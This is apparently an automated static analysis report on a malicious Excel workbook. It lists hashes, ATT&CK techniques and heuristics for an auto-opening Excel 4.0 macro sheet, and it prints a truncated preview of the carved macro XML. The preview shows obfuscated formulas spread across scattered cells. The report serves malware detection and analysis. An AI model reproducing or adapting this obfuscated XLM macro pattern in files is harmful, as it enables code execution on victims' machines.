Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d1f250b613a58cf2…

MALICIOUS

Office (OOXML)

93.0 KB Created: 2020-06-29 03:14:54 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: b5e6ecfeafd35901399506c2c5e5ef27 SHA-1: ec3f0a40a7b049f80bd9e4f8bf4f8e136c1d8fc5 SHA-256: d1f250b613a58cf24cb316f1c81f470dfac01f60b154da6bf473738e9b85ec6c
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The presence of dangerous XLM formula APIs like REGISTER, HALT, and RETURN suggests the macro is designed to execute arbitrary code, likely to download and run a second-stage payload. The embedded URL, though benign in reputation, is part of the macro's functionality.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, HALT, RETURN critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 45107 bytes
SHA-256: 42b1e387bf639d0babbe19e5690414fb737ba030e71f9a528724c9ec97225ab3
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A4:IN59968"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="4" spans="147:147" x14ac:dyDescent="0.25"><c r="EQ4" t="s"><v>25</v></c></row><row r="65" spans="65:65" x14ac:dyDescent="0.25"><c r="BM65"><v>26779</v></c></row><row r="66" spans="65:65" x14ac:dyDescent="0.25"><c r="BM66"><v>155</v></c></row><row r="539" spans="111:111" x14ac:dyDescent="0.25"><c r="DG539" t="s"><v>43</v></c></row><row r="601" spans="204:204" x14ac:dyDescent="0.25"><c r="GV601" t="s"><v>10</v></c></row><row r="627" spans="112:112" x14ac:dyDescent="0.25"><c r="DH627" t="s"><v>3</v></c></row><row r="752" spans="72:72" x14ac:dyDescent="0.25"><c r="BT752" t="s"><v>41</v></c></row><row r="795" spans="98:98" x14ac:dyDescent="0.25"><c r="CT795" t="s"><v>20</v></c></row><row r="868" spans="24:24" x14ac:dyDescent="0.25"><c r="X868" t="s"><v>9</v></c></row><row r="1336" spans="47:47" x14ac:dyDescent="0.25"><c r="AU1336" t="s"><v>13</v></c></row><row r="1418" spans="154:154" x14ac:dyDescent="0.25"><c r="EX1418" t="s"><v>1</v></c></row><row r="1436" spans="73:73" x14ac:dyDescent="0.25"><c r="BU1436" t="s"><v>19</v></c></row><row r="1510" spans="247:247" x14ac:dyDescent="0.25"><c r="IM1510" t="s"><v>24</v></c></row><row r="1570" spans="202:202" x14ac:dyDescent="0.25"><c r="GT1570" t="s"><v>7</v></c></row><row r="1685" spans="37:37" x14ac:dyDescent="0.25"><c r="AK1685" t="s"><v>16</v></c></row><row r="2123" spans="29:29" x14ac:dyDescent="0.25"><c r="AC2123" t="s"><v>5</v></c></row><row r="2136" spans="7:7" x14ac:dyDescent="0.25"><c r="G2136" t="s"><v>19</v></c></row><row r="2638" spans="207:207" x14ac:dyDescent="0.25"><c r="GY2638" t="s"><v>37</v></c></row><row r="2868" spans="46:46" x14ac:dyDescent="0.25"><c r="AT2868" t="s"><v>20</v></c></row><row r="3065" spans="160:160" x14ac:dyDescent="0.25"><c r="FD3065" t="s"><v>13</v></c></row><row r="3231" spans="168:168" x14ac:dyDescent="0.25"><c r="FL3231" t="b"><f bx="1">lcTgqaZNyawJ=$EP$11226&amp;$HS$32502&amp;$DH$22934&amp;$AB$58581&amp;$HK$44561&amp;$GP$21945&amp;$EI$50653</f><v>0</v></c></row><row r="3232" spans="168:168" x14ac:dyDescent="0.25"><c r="FL3232" t="b"><f bx="1">XFWIMmaYSkhEZ=$GO$53550</f><v>0</v></c></row><row r="3233" spans="168:168" x14ac:dyDescent="0.25"><c r="FL3233" t="b"><f>$HO$14684()</f><v>0</v></c></row><row r="3234" spans="168:168" x14ac:dyDescent="0.25"><c r="FL3234" t="b"><f>$EL$11252()</f><v>0</v></c></row><row r="3367" spans="203:203" x14ac:dyDescent="0.25"><c r="GU3367" t="s"><v>3</v></c></row><row r="3536" spans="96:96" x14ac:dyDescent="0.25"><c r="CR3536" t="s"><v>42</v></c></row><row r="3542" spans="85:152" x14ac:dyDescent="0.25"><c r="CG3542" t="s"><v>2</v></c></row><row r="3546" spans="85:152" x14ac:dyDescent="0.25"><c r="EV3546" t="s"><v>9</v></c></row><row r="3716" spans="242:242" x14ac:dyDescent="0.25"><c r="IH3716" t="s"><v>19</v></c></row><row r="4064" spans="127:127" x14ac:dyDescent="0.25"><c r="DW4064" t="s"><v>27</v></c></row><row r="4123" spans="248:248" x14ac:dyDescent="0.25"><c r="IN4123" t="s"><v>49</v></c></row><row r="4210" spans="7:7" x14ac:dyDescent="0.25"><c r="G4210" t="s"><v>10</v></c></row><row r="4376" spans="4:4" x14ac:dyDescent="0.25"><c r="D4376" t="s"><v>1</v></c></row><row r="5696" spans="170:170" x14ac:dyDescent="0.25"><c r="FN5696" t="s"><v>18</v></c></row><row r="5924" spans="48:48" x14ac:dyDescent="0.25"><c r="AV5924" t="s"><v>6</v></c></row><row r="5947" spans="211:211" x14ac:dyDescent="0.25"><c r="HC5947" t="s"><v>22</v></c></row><row r="5977" spans="248:248" x14ac:dyDescent="0.25"><c r="IN5
... (truncated)